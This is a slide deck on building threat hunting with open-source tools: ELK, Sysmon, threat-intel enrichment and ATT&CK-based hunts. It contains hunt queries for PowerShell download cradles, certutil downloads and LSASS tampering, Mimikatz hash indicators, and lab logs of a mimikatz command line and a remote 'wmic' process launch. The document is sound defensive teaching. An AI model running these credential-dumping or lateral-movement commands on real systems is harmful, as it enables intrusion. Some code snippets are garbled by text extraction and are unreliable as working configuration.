Build your own threat hunting based on open-source tools

Teymur Kheirkhabarov
SOC Technologies Research and Development Group Manager at Kaspersky Lab
• SOC Technologies Research and Development Group Manager at Kaspersky Lab
• Threat Hunter
• Zero Nights / previous PHDays speaker
• Ex- System Admin
• Ex- Infosec Admin
• Ex- Infosec dept. Head
• SibSAU (Krasnoyarsk) graduate
• Twitter @HeirhabarovT
Threat Hunting. What is It?

Cyber threat hunting is the practice of searching iteratively through data to detect advanced threats that evade traditional security solutions.

(sqrrl)
**Alerting vs Hunting**

**Alerting (Automatic)**
- Reactive: Focus on **known** threats

**Hunting (Manual)**
- Proactive: Focus on **new** threats

TI – threat intelligence
MA – malware analysis
DF – digital forensics
IR – incident response
Reactive vs Reactive

**Proactive approach (hunting)**
- Actively looking for incidents without waiting for an alert:
  - iterative search through data
  - using Threat Intelligence
  - using knowledge about attackers’ tactics, techniques and procedures

**Reactive approach (alerting)**
- Incident starts when notification comes in:
  - security system alert (NIDS/NIPS/AV/SIEM)
  - call from governmental agency
  - user complaint / report
Reactive vs Reactive

Where to hunt?

Data

What “weapon” to use?

Tools

Threat Hunting

Who will hunt?

Processes/Procedures

How to hunt? What to do with the catch?
People. Threat Hunter skillset

- **Analytical Mindset**: ability to join individual links into chains, ability to generate and investigate hypotheses;

- **OS Architecture**: knowledge of native OS security mechanisms, knowledge of typical security issues of different operating systems, knowledge of specific attack vectors;

- **Network Architecture**: understanding how computer networks work, OSI model, knowledge of TCP/IP, knowledge of basic protocols (DNS, DHCP, HTTP, SMTP, FTP, SMB);

- **Attack Lifecycle**: understanding of typical attack stages (kill chain) and different events that happen at any given stage in an attack lifecycle;

- **Attack Methods/TTPs**: understanding how an attacker attempts to penetrate your network, which attack vectors and tools he/she can use on different attack stages;

- **Log Analysis**: knowledge of different log sources and event types generated by different sources, the ability to analyze logs for anomalies and pivot between data sources to see the big picture;

- **Network Forensics**: the ability to read and understand packet capture data and determine the malicious nature of network traffic;

- **Tools, used for hunting and data analysis**: how to use log analytics platform (e.g. Elasticsearch/Kibana), SIEM, how to use packet sniffer, how open PCAP, how to see and export logs in OS, how to collect logs from different sources and so on…
<table>
<thead>
<tr>
<th>Type of data</th>
<th>Description</th>
<th>Tools/utilities that can be used</th>
</tr>
</thead>
<tbody>
<tr>
<td>Operating System logs</td>
<td>Not all, only potentially useful. Good starting point</td>
<td>Native OS capabilities</td>
</tr>
<tr>
<td>“Real-time” processes’ activity</td>
<td>Process start, DLL libraries loading, Process install driver, Process perform code injection, Process open port for incoming network connections, Process accept incoming network connections, Process initiate network connection, Process create/change file, Process create named pipe, Process create/change registry key/value</td>
<td>Sysmon, Auditd (Linux), Commercial EDR solutions, Some of operating system events (process creation, file object access, registry key access)</td>
</tr>
<tr>
<td>ASEP (Autostart Extension Points)</td>
<td>The best event source to look for files or commands written to startup (almost all malware and attackers strive to obtain persistence in the compromised/infected systems)</td>
<td>Autoruns/Autorunsc from Sysinternals, Commercial EDR solutions, Homemade scripts</td>
</tr>
<tr>
<td>Periodic snapshots of different system tools output</td>
<td>Try to find suspicious not based on real-time events, only by using periodic snapshots. E.g., periodic snapshots of active processes</td>
<td>Arp, Netstat, Klist, Osquery, tasklist</td>
</tr>
<tr>
<td>Interesting folders listing (e.g. Windows/AppData)</td>
<td>Getting information about files in interesting folders with its metadata (hash, version info, creation time, etc)</td>
<td>Sigtool from Sysinternals, Homemade scripts</td>
</tr>
<tr>
<td>Forensic artifacts</td>
<td>Prefetch, AmCache, ShimCache, USN Journal, etc.</td>
<td>Kansa, ACE, Homemade scripts</td>
</tr>
</tbody>
</table>

This table provides an overview of different data types and their utilities used in endpoint security. It includes descriptions and lists of tools and utilities that can be used for each type of data.
## Data. Network side

<table>
<thead>
<tr>
<th>Type of event</th>
<th>Description</th>
<th>Tools/utilities that can be used</th>
</tr>
</thead>
<tbody>
<tr>
<td>Metadata of all downloaded files</td>
<td>hash, size, name, MIME Type, Source URL, Referrer, used for downloading user-agent. Checking hashes against TI feeds</td>
<td>Bro, Suricata, Proxy/NGFW logs</td>
</tr>
<tr>
<td>Metadata of email headers / SMTP metadata</td>
<td>To, From, Subject, received headers, size, used MTA, reception time, presence of an attachment</td>
<td>Email server logs, Bro</td>
</tr>
<tr>
<td>Metadata of email attachments</td>
<td>MD5 hash, size, name, MIME Type, link to the corresponding email metadata</td>
<td>Bro, Homemade scripts</td>
</tr>
<tr>
<td>URL from email bodies</td>
<td>Checking against threat intelligence feeds. Tracking emails with links to the file hostings. Checking against TI feeds</td>
<td>Bro, Homemade scripts</td>
</tr>
<tr>
<td>Netflow</td>
<td>Can be used to detect data exfiltration, worm malware activity, lateral movement, port scanning, checking remote IP-addresses against TI feeds</td>
<td>nfcapd, nfdump, …</td>
</tr>
<tr>
<td>Outgoing HTTP/HTTPS</td>
<td>Detection of communications with C2, data exfiltration, checking visited accessed URLs against TI feeds</td>
<td>Proxy/NGFW logs, Bro</td>
</tr>
<tr>
<td>Outgoing DNS requests metadata</td>
<td>Detection of DNS exfiltration, DNS tunneling. Checking requested hostnames against TI feeds</td>
<td>Bro, DNS server logs</td>
</tr>
<tr>
<td>Metadata of SMB / RPC</td>
<td>Detection of lateral movement, credentials dumping (DCSync, remote reg save), internal recon…</td>
<td>Bro</td>
</tr>
</tbody>
</table>
What to search? David Bianco’s pyramid of pain

- **Tough!**
- **Challenging**
- **Annoying**
- **Simple**
- **Easy**
- **Trivial**

**TTP-based detection:** Special behavior detectors above collected events, manual search

**Tool-based detection:** AV detects, Yara rules, tools-specific detectors above collected events

**IOC-based detection:** Automatic matching of indicators from collected events using different threat intelligence feeds

http://detect-respond.blogspot.mx/2013/03/the-pyramid-of-pain.html
### Different approaches to detect / hunt

<table>
<thead>
<tr>
<th>Possible attacker actions</th>
<th>IOC-based detection</th>
<th>Tool-based detection</th>
<th>TTP-based detection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attackers can use Mimikatz or similar tools to dump credentials from memory</td>
<td>Looking for hashes (MD5, SHA1, SHA256) of Mimikatz and other similar tools executable files</td>
<td>Looking for files with predefined names or extensions, that created by Mimikatz and other similar tools. For example, Mimikatz export dumped Kerberos tickets to the files with .kirbi extension and WCE drop DLL with predefined name wceaux.dll</td>
<td>Looking for processes, that access lsass.exe memory or inject code to the lsass.exe memory</td>
</tr>
<tr>
<td>Attackers can use PsExec/WinExe or similar tools for remote execution and lateral movement</td>
<td>Looking for hashes (MD5, SHA1, SHA256) of PsExec/WinExe and other similar tools executable files</td>
<td>Looking for installation of services with well-known names (PsExec installs service with name PSEXESVC, WinExe installs service with WINEXESVC)</td>
<td>Looking for remotely installed services that spawn different processes</td>
</tr>
<tr>
<td>Malicious software need to communicate with Command and Control center / Attackers use external servers for accepting back connections from compromised hosts</td>
<td>Looking for communications with specific domains or IP-addresses, which are marked as an IOC or bad domains</td>
<td>Looking for User-Agent specific for some hacking utility or penetration testing frameworks</td>
<td>Looking for connections with periodicity</td>
</tr>
</tbody>
</table>

Looking for communications with domains generated by a certain algorithm, which is typical for a specific hacking utility or penetration testing frameworks

Looking for communications with randomly generated domains

Looking for communications with newly registered domains
The concept of ‘hunt’

- Run untrusted code with whitelisted tool (rundll32, regsvr32, mshta, odbcconf, etc)
- Office app spawns cmd/powershell/etc
- Access to paste service from non-browsers
- ...

Examples:
<table>
<thead>
<tr>
<th>Hunt description</th>
<th>Hunt search query (elasticsearch)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Suspicious processes spawned from MS Office applications</td>
<td>event_id:(1 OR 4688) AND (event_data.ParentOfParent:(&quot;<em>\excel.exe&quot; &quot;</em>\winword.exe&quot; &quot;<em>\powept.exe&quot; &quot;</em>\msaccess.exe&quot; &quot;<em>\mspub.exe&quot; &quot;</em>\outlook.exe&quot;) OR event_data.ParentImage:(&quot;<em>\excel.exe&quot; &quot;</em>\winword.exe&quot; &quot;<em>\powept.exe&quot; &quot;</em>\msaccess.exe&quot; &quot;<em>\mspub.exe&quot; &quot;</em>\outlook.exe&quot;))) AND event_data.Image:(&quot;<em>\cmd.exe&quot; &quot;</em>\powershell.exe&quot; &quot;<em>\wscript.exe&quot; &quot;</em>\cscript.exe&quot; &quot;<em>\bitsadmin.exe&quot; &quot;</em>\certutil.exe&quot; &quot;<em>\schtasks.exe&quot; &quot;</em>\rundll32.exe&quot; &quot;<em>\regsvr32.exe&quot; &quot;</em>\wmic.exe&quot; &quot;<em>\mshta.exe&quot; &quot;</em>\msiexec.exe&quot; &quot;<em>\schtasks.exe&quot; &quot;</em>\msbuild.exe&quot;)</td>
</tr>
<tr>
<td>Powershell download cradles</td>
<td>event_data.CommandLine:(&quot;<em>powershell</em> <em>pwsh</em> <em>SyncAppvPublishingServer</em>&quot;) AND event_data.CommandLine:(&quot;<em>BitsTransfer</em> <em>webclient</em> <em>DownloadFile</em> <em>downloadstring</em> <em>wget</em> <em>curl</em> <em>WebRequest</em> <em>WinHttpRequest</em> <em>iwr</em> <em>irm</em> &quot;internetExplorer.Application&quot;<em>&quot; &quot;<em>Msxml2.XMLHTTP</em></em> &quot;*MsXml2.ServerXmlHttp&quot;)</td>
</tr>
<tr>
<td>Privilege escalation - Run whoami as System</td>
<td>event_data.Image:&quot;*\whoami.exe&quot; AND (event_data.LogonId:0x3e7 OR event_data.SubjectLogonId:0x3e7 OR event_data.User:&quot;NT AUTHORITY\SYSTEM&quot;)</td>
</tr>
<tr>
<td>Suspicious LSASS SSP was loaded</td>
<td>event_id:4622 AND -event_data.SecurityPackageName:(&quot;*pku2u *TSSSP *NTLM *Negotiate *NegoExtender *Schannel *Kerberos *Wdigest *Microsoft Unified Security Protocol Provider&quot;)</td>
</tr>
<tr>
<td>Possible logon session hijacking</td>
<td>event_data.Image:&quot;*\tscon.exe&quot; AND (event_data.LogonId:0x3e7 OR event_data.SubjectLogonId:0x3e7 OR event_data.User:&quot;NT AUTHORITY\SYSTEM&quot;)</td>
</tr>
<tr>
<td>Using certutil for downloading</td>
<td>event_data.CommandLine:(&quot;<em>certutil</em>&quot;) AND event_data.CommandLine:(&quot;<em>urlcach</em> <em>url</em> <em>ping</em>&quot;) AND event_data.CommandLine:(&quot;<em>http</em> <em>ftp</em>&quot;)</td>
</tr>
</tbody>
</table>
How to develop hunts?

- MITRE ATT&CK
- Twitter
- Blogs
- Conferences
- Private APT Reports
- Public APT Reports
- Adversary emulation in lab
- Security assessments practices
- IR/DF practices
- Security monitoring practices

Security analyst

Hunts
MITRE Adversarial Tactics, Techniques & Common Knowledge

MITRE ATT&CK is awesome!!!

https://attack.mitre.org/wiki/Main_Page

### Windows Technique Matrix

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
</tr>
</thead>
<tbody>
<tr>
<td>Drive-by Compromise</td>
<td>CMSTP</td>
<td>Accessibility</td>
<td>Access Token</td>
<td>Access Token</td>
<td>Account</td>
<td>Account</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Features</td>
<td>Manipulation</td>
<td>Manipulation</td>
<td>Manipulation</td>
<td>Manipulation</td>
</tr>
<tr>
<td>Exploit Public-Facing</td>
<td>Command-Line Interface</td>
<td>AppCert DLLs</td>
<td>Accessibility</td>
<td>BITS Jobs</td>
<td>Brute Force</td>
<td>Application</td>
</tr>
<tr>
<td>Application</td>
<td></td>
<td>Features</td>
<td>Features</td>
<td></td>
<td></td>
<td>Window</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Discover</td>
</tr>
<tr>
<td>Hardware Additions</td>
<td>Control Panel Items</td>
<td>ApplInit DLLs</td>
<td>Binary Padding</td>
<td>Credential</td>
<td></td>
<td>Browser</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Dumping</td>
<td></td>
<td>Bookmark</td>
</tr>
<tr>
<td>Replication Through</td>
<td>Dynamic Data Exchange</td>
<td>Application</td>
<td>Bypass User</td>
<td>Explotation</td>
<td></td>
<td>Exploitation</td>
</tr>
<tr>
<td>Removable Media</td>
<td></td>
<td>Shimming</td>
<td>Account Control</td>
<td>Remote Services</td>
<td></td>
<td>Data</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>ClipBoard</td>
</tr>
<tr>
<td>Spearphishing</td>
<td>Execution through API</td>
<td>Authentication</td>
<td>Application</td>
<td></td>
<td></td>
<td>Data Encrypted</td>
</tr>
<tr>
<td>Attachment</td>
<td></td>
<td>Package</td>
<td>Shimming</td>
<td></td>
<td></td>
<td>Data</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Encrypted</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Connection</td>
</tr>
<tr>
<td>Spearphishing</td>
<td>Execution through Module</td>
<td>Bypass User</td>
<td>Code Signing</td>
<td></td>
<td></td>
<td>Network</td>
</tr>
<tr>
<td>Link</td>
<td>Load</td>
<td>Account Control</td>
<td></td>
<td></td>
<td></td>
<td>Scan</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Service</td>
</tr>
<tr>
<td>Spearphishing</td>
<td>Exploitation for Bootkit</td>
<td>DLL Search Order</td>
<td>Component</td>
<td></td>
<td></td>
<td>Policy</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Remote</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Desktop</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Data from</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Network</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Exfiltration</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Over Other</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Data</td>
</tr>
</tbody>
</table>

### Service Execution

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.

**Contents [hide]**
- Examples
- Mitigation
- Detection
- References

---

### SID-History Injection

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains. Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values may be inserted into SID-History to enable impersonation of arbitrary users groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.

**SID-History Injection**

**Technique**

- ID: T1178
- Tactic: Privilege Escalation
- Platform: Windows
- Permissions: Administrator, SYSTEM
- Required: Data: API monitoring, Sources: Authentication logs, Windows event logs
- Contributors: Vincent Le Toux
Putting all together. Helicopter view

Level 1: TI Farm
- AV Detects
- Lookup services
- Yara rules
- Inventory DB
- GeoIP
- IOC feeds
- Security Assessment

Level 2: TTP-based
- SOC practice
- IR, DF practice
- APT/breach reports
- External sources (twitter, blogs, ATT&CK, etc.)

Level 3: Analyst
- Manual analysis
- Security Assessment
- Internal Research

Digital Forensics / Incident Response
- Questions/Requests
- Incidents for investigation
- Samples for analysis
- Samples for detection

Malware Analysis
- AV Vendor

Users / admins
- Manual analysis
- Suspicious behavior

Security Assessment
- APT/breach reports
- External sources (twitter, blogs, ATT&CK, etc.)
- Manual analysis
- Security Assessment
Putting all together. Practice

In hands-on lab we will cover only this.
Level 1. TI-Farm. GeoIP enrichment

Logstash has filter GeoIP that allows to add information about the geographical location of IP addresses, based on data from the Maxmind GeoLite2 databases. This plugin is bundled with GeoLite2 City database out of the box. Commercial databases from Maxmind are also supported in this plugin.

```ruby
# GeoIP enrichment of SourceIp
geoip {
  "fields" => ["city_name, continent_code, country_code3, country_name, region_name, location"],
  "source" => "[event_data][SourceIp]",
  "target" => "[enrich][geoip][SourceIp]"
}

# GeoIP enrichment of DestinationIp
geoip {
  "fields" => ["city_name, continent_code, country_code3, country_name, region_name, location"],
  "source" => "[event_data][DestinationIp]",
  "target" => "[enrich][geoip][DestinationIp]"
}
```

In the Elasticsearch such enrichment will look like this.
Level 1. TI-Farm. Network zone enrichment

Logstash CIDR filter is for checking IP addresses in events against a list of network blocks that might contain it. Multiple addresses can be checked against multiple networks, any match succeeds. Upon success additional tags and/or fields can be added to the event.

It is possible to specify subnets right in the Logstash configuration, or use external text file with the list of subnets.

Check that IP address from the [event_data][SourceIp] field is internal or special purpose IP (127.0.0.1. multicast and so on):

```ruby
if [event_data][SourceIp] {
  cidr {
    address => [ "%(event_data)[SourceIp]" ]
    network => [ "169.254.0.0/16", "0.0.0.0/8", "127.0.0.0/8", "224.0.0.0/4", "255.255.255.255/32", "10.0.0.0/8", "14.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "2001:db8::/32", "::1/128"]
    add_field => { "[enrich][assets][SourceIp][zone]" => ["rfc6890"] }
  }
}
```

For non-external IP addresses enrich event with internal network zone tag:

```ruby
if "rfc6890" in [enrich][assets][SourceIp][zone] {
  #Enrich internal IP with network zone info
  cidr {
    address => [ "%(event_data)[SourceIp]" ]
    network_path => "/etc/logstash/net_zones/wks.txt"
    refresh_interval => 60
    add_field => { "[enrich][assets][SourceIp][zone]" => ["workstations"] }
  }
}
```

In the Elasticsearch such enrichment will look like this:

```
* enrich.assets.DestinationIp.zone rfc6890, workstations
* enrich.assets.SourceIp.zone rfc6890, workstations
```

Level 1. TI-Farm. CMDB enrichment

Logstash jdbc_static filter enriches events with data pre-loaded from any remote database via JDBC. We can use it to get information about IP address and hostnames from CMDB database and put in right in the events.

Enrich current event with information from CMDB about host, where this event is happened:

We can make such enrichment for any field, where internal IP-addresses or hostnames can be presented: SourceIp, DestinationIp, computer_name, WorkstationName (from logon events)

Periodically get data from DB

In the Elasticsearch such enrichment will look like this:
Level 1. TI-Farm. TI feeds checking (IP-addresses)

Logstash translate filter allows to replace field value or add new filed to the event based on some key-value dictionary. This filter can be used to check values form different fields of the events against different IOCs feeds.

```ruby
# Threat intelligence checking of DestinationIp
translate {
  field => "[event_data][DestinationIp]"
  destination => "[enrich][ti][DestinationIp][otx]"
  dictionary_path => "/etc/logstash/ioc_feeds/otx_ipv4.csv"
}
```

Filter takes the value of a particular field from the event and checks whether it is the key in the dictionary or not. If so, the value from dictionary, is added to the event as a new field.
Level 1. TI-Farm. TI feeds checking (file hashes)

```python
if [hash][MD5] {
    translate {
        field => "[hash][MD5]"
        destination => "[enrich][ti][MD5][otx]"
        dictionary_path => "/etc/logstash/ioc_feeds/otx_md5.csv"
    }
}
```

```
root@telk:/etc/logstash# tail -n 4 /etc/logstash/ioc_feeds/otx_md5.csv
713215AD1495C30DF9544FB5464F1F4B,Hacking Tool Mimikatz
D9AD955B8406E270B184EDE674715C9D,Hacking Tool WCE
CCF1D1573F175299ADB01C07791A6541,Hacking Tool WCE
AC53DC59933D0CE6EF6058FC1340CAEF,Malicious password filter
```

**event_data.ProcessId** 468
Level 1. TI-Farm. Complex enrichment, using Ruby filter

```ruby
else if [source_name] == "Microsoft-Windows-Sysmon" and [event_id] == 10 {
  ruby {
    code -> 
  }
  const = {
    'PROCESS_CREATE_PROCESS' => 0x0080,
    'PROCESS_CREATE_THREAD' => 0x0002,
    'PROCESS_DUP_HANDLE' => 0x0040,
    'PROCESS_QUERY_INFORMATION' => 0x0400,
    'PROCESS_QUERY_LIMITED_INFORMATION' => 0x1000,
    'PROCESS_SET_INFORMATION' => 0x0020,
    'PROCESS_SET_QUOTA' => 0x0100,
    'PROCESS_SUSPEND_RESUME' => 0x0000,
    'PROCESS_TERMINATE' => 0x0001,
    'PROCESS_VM_OPERATION' => 0x0008,
    'PROCESS_VM_READ' => 0x0010,
    'PROCESS_VM_WRITE' => 0x0020
  }
  flags = []
  granted_access_mask = event.get('([event_data][GrantedAccess]').hex
  const.each_pair do |key, value|
    if granted_access_mask & value != 0
      flags << key
    end
  end
  event.set('([event_data][GrantedAccessList]', flags)
}
```

Take access mask (value of GrantedAccess field) from the event and put the list of the corresponding rights to the GrantedAccessList field.

Obtaining rights based on the mask is done with Ruby filter.
Level 1. TI-Farm. Frequency score of the services names

freq_server.py – Mark Baggett’s (SANS SEC573 Author) tool for detecting randomness using NLP techniques rather than pure entropy calculations. Uses character pair frequency analysis to determine the likelihood of tested strings of characters occurring.

We can use freq_server.py to detect randomly generated service names. For communication with freq_server we will use Rest filter:

```python
#Service name frequence score
rest {
    #id => "ServiceNameFrequencyScore"
    request => {
        url => "http://192.168.220.1:10000"
        method => "get"
        params => {
            "cmd" => "measure"
            "tgt" => "%{[event_data][ServiceName]}"
        }
    }
    #sprintf => true
    json => false
    target => "[enrich][freq][ServiceName][score]"
}

if [enrich][freq][ServiceName][score] {
    mutate {
        convert => {
            "{[enrich][freq][ServiceName][score]}" => "float"
        }
    }
}
```

https://github.com/MarkBaggett/freq_server
Level 1. TI-Farm. Frequency score of services names

Normal (except the fact that these are services of hacking tools) service names:

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.ServiceName</th>
<th>enrich.freq.ServiceName.score</th>
<th>event_data.CommandLine</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>winexesvc</td>
<td>10.944</td>
<td>winexesvc.exe</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>PSEXESVC</td>
<td>10.529</td>
<td>%SystemRoot\PSEXESVC.exe</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>7,045</td>
<td>mimikatz service (mimikatzsvc)</td>
<td>10.068</td>
<td>&quot;C:\tools\mimikatz\mimikatz.exe&quot; rpc::server service::me exit</td>
</tr>
</tbody>
</table>

Randomly generated service names (note, that frequency scores are much less):

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.ServiceName</th>
<th>enrich.freq.ServiceName.score</th>
<th>event_data.CommandLine</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>ebPc</td>
<td>0.743</td>
<td>%systemroot\HpEtPViT.exe</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>7,045</td>
<td>fROR</td>
<td>0.726</td>
<td>%systemroot\L1KYXbN.exe</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>7,045</td>
<td>UDoQ</td>
<td>0.561</td>
<td>%systemroot\MsQAPc.exe</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>UDoG</td>
<td>0.56</td>
<td>%systemroot\xSBEUnEI.exe</td>
</tr>
</tbody>
</table>
freq_server.py also can be used to detect randomness of file names from process creation events:

```ruby
# Calculate file name frequency score and enrich process creation event with it
# Extract file name from Image
ruby {
    code => "event.set('[@metadata][filename]', event.get('[event_data][Image]').split('/').last"
}
rest {
    request => {
        url => "http://192.168.220.1:10001"
        method => "get"
        params => {
            "Cmd" => "measure"
            "tgt" => "@[metadata][filename]"
        }
    }
    json => false
    target => "[enrich][freq][ImageName][score]"
}
if [enrich][freq][ImageName][score] {
    mutate {
        convert => {
            "[enrich][freq][ImageName][score]" => "float"
        }
    }
}
```
Level 1. TI-Farm. Caching information about network logon sessions

Logstash Memcached filter allows to save some information from events in Memcached and after that use if for event enrichment. For example, we can use this filter for caching information about successful network logons.

Building information block about logon session for caching:

```ruby
#Only workstation name is presented in 4624 event
if [event_data][WorkstationName] and [event_data][WorkstationName] != "-" and (![event_data][IpAddress] or [event_data][IpAddress] == "-") {
    mutate {
        add_field => {
            "[@metadata][logonsession_info]" => ""[event_data][LogonType]="{[event_data][LogonType]},[event_data][WorkstationName]="{[event_data][WorkstationName]}"
        }
    }
}

#Only source IP is presented in 4624 event
else if [event_data][IpAddress] and [event_data][IpAddress] != "-" and (![event_data][WorkstationName] or [event_data][WorkstationName] == "-") {
    mutate {
        add_field => {
            "[@metadata][logonsession_info]" => ""[event_data][LogonType]="{[event_data][LogonType]},[event_data][SourceIp]="{[event_data][IpAddress]}"
        }
    }
}
```

Saving previously built information block in cache:

```ruby
memcached {
    #id => "AddToMemcacheLogonSessionInfo"
    hosts => ["127.0.0.1:11211"]
    set => {
        "[@metadata][logonsession_info]" => ""{computer_name}_"{"[event_data][TargetLogonId]"
    }
    ttl => 1800
}
```
Level 1. TI-Farm. Enrich Sysmon process creation events with network logon session info

We can enrich Sysmon process creation events with previously cached information about network logon sessions. Such enrichment allows easily to track lateral movements.

```python
# Enrich process creation event with information about correspond logon session (type, source IP, source Workstation)
memcached {
    hosts => ["127.0.0.1:11211"]
    get => {
        ":{computer_name}_@{[event_data][LogonId]}" => "[@metadata][logonsessioninfo]"
    }
}
if [@metadata][logonsessioninfo] {
    kv {
        source => "[@metadata][logonsessioninfo]"
        field_split => ",",
        value_split => "="
    }
}
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentImage</th>
<th>event_data.Image</th>
<th>event_data.LogonId</th>
<th>event_data.LogonType</th>
<th>event_data.SourceIp</th>
<th>event_data.WorkstationName</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>C:\Windows\System32\calc.exe</td>
<td>0x127a046</td>
<td>3</td>
<td>192.168.220.100</td>
<td>VICTIM</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>C:\Windows\System32\systeminfo.exe</td>
<td>0x309736</td>
<td>3</td>
<td>192.168.220.66</td>
<td>ATTACKER</td>
</tr>
</tbody>
</table>
Level 1. TI-Farm. Enrich Sysmon process creation events with network logon session info. Usage example

Track processes, created in the network logon sessions

```
C:\tools>wmic /node: 192.168.220.11 process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
  
    ProcessId = 3828;
    ReturnValue = 0;
```

Saved search “Lateral movement - process execution in network logon session”:

```
( event_id:1 AND source_name:*Sysmon AND event_data.LogonType:3 )
```

Enrichment from successful login event

Get from Memcached, using LogonId as key

```
<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.TargetUserName</th>
<th>event_data.TargetLogonId</th>
<th>event_data.LogonType</th>
<th>event_data.Sourcelp</th>
<th>event_data.WorkstationName</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4,624</td>
<td>user</td>
<td>0x127a046</td>
<td>3</td>
<td>192.168.220.100</td>
<td>VICTIM</td>
</tr>
</tbody>
</table>
```
Some Windows events contain SubjectLogonId field. We can enrich such events with previously cached information about network logon sessions.

In this example we enrich 4672 event with network logon session information.

Such enrichment allows to track network logons using privileged accounts (4672 event – special privileges assigned to new logon).
Level 1. TI-Farm. Cache information about created processes

Similar to the network logon sessions info we can cache some information about created processes in Memcached for further enrichment of other Sysmon events, that are related to the created process:

- Integrity Level;
- User;
- Command Line;
- Parent Image.

Building information block for caching:

```plaintext
mutate {
    add_field => {
        "[@metadata][processinfo]" => "IntegrityLevel=%{[event_data][IntegrityLevel]},User=%{[event_data][User]},CommandLine=%{[event_data][CommandLine]},ParentImage=%{[event_data][ParentImage]}"
    }
}
```

Saving previously built information block in cache (key is concatenation of ProcessGuid and computer_name):

```plaintext
memcached {
    hosts => ["127.0.0.1:11211"]
    set => {
        "[@metadata][processinfo]" => "@{computer_name}_{event_data}[ProcessGuid]"
    }
    ttl => 86400 #24 hours
}
```
Level 1. TI-Farm. Enrich Sysmon process creation events with information about parent process

Get previously cached information about process from Memcached for enrichment of process creation events. Key is concatenation of computer_name and ParentProcessGuid:

```javascript
# Enrich process creation event with additional information about parent process
memcached {
    hosts => ["127.0.0.1:11211"]
    get => {
        "%(computer_name)_%{[event_data][ParentProcessGuid]}" => "[@metadata][parentinfo]"
    }
}
if [@metadata][parentinfo] {
    kv {
        source => "[@metadata][parentinfo]"
        target => "[@metadata][parentinfo]"
        field_split => ","
        value_split => "="
    }
    if [@metadata][parentinfo][ParentImage] {
        mutate {
            add_field => {
                "[event_data][ParentIntegrityLevel]" => "%([@metadata][parentinfo][IntegrityLevel])"
                "[event_data][ParentUser]" => "%([@metadata][parentinfo][User])"
                "[event_data][ParentOfParent]" => "%([@metadata][parentinfo][ParentImage])"
            }
        }
    }
}
```
Level 1. TI-Farm. Enrich Sysmon process creation events with information about parent process

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.CommandLine</th>
<th>event_data.ProcessGuid</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process</td>
<td>&quot;C:\Program Files\Microsoft Office\Office15\WINWORD.EXE&quot; /n</td>
<td>{68C3D30C-2F25-5AF8-0000-001055D4A700}</td>
</tr>
<tr>
<td></td>
<td>Create</td>
<td>ProcessCrmp\ns2\EA.tmp\ContainedTemp\7z\ntate) 08ECAAA6C\Readme.docx&quot; /o &quot;u&quot;</td>
<td></td>
</tr>
</tbody>
</table>

